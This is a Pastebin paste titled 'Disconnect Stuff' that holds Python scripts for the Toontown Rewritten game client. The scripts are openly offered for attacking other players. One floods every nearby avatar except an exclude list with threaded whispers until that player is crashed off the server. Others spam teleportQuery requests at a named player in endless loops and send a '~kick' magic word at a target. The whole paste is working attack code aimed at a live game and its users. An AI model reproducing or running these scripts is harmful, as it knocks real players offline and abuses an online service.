Advertisement
loon4tic

Disconnect Stuff

May 31st, 2016
310
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.22 KB | None | 0 0
  1. def whisperToToon(doId):
  2. print "Attempting crash for doId: %s." % doId
  3. while doId in base.cr.doId2do.keys():
  4. base.cr.ttrFriendsManager.sendUpdate('sendTalkWhisper', [doId, "We are Team Dee Dee!"])
  5. else:
  6. print "Successfully crashed %s." % doId
  7.  
  8. # Put anyone here you don't want to crash.
  9. excludes = [base.localAvatar.doId, 100001453, 100001459, 100001463, 100001456]
  10. SLEEP_STRING = TTLocalizer.ToonSleepString
  11.  
  12. def findAllToons():
  13. doIds = base.cr.doId2do.keys()
  14. for doId in doIds:
  15. do = base.cr.doId2do[doId]
  16. if do.dclass.getName() == 'DistributedToon':
  17. if doId in excludes:
  18. continue
  19. elif do.nametag.getChat() == SLEEP_STRING:
  20. continue
  21. else:
  22. thread.start_new_thread(whisperToToon, (doId,))
  23.  
  24. thread.start_new_thread(findAllToons, ())
  25.  
  26.  
  27.  
  28. av = base.cr.doFind('Astro')
  29. while True:
  30. av.sendUpdate('teleportQuery', [av.doId])
  31.  
  32.  
  33. base.localAvatar.sendUpdate('reqUseSpecial', [69])
  34.  
  35.  
  36.  
  37. av = base.cr.doFind('NAME HERE')
  38. while True:
  39. av.sendUpdate('teleportQuery', [av.doId])
  40.  
  41.  
  42. base.cr.doFind('MagicWordManager').sendUpdate('sendMagicWord', ['~kick', base.cr.doFind('TARGET').doId]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement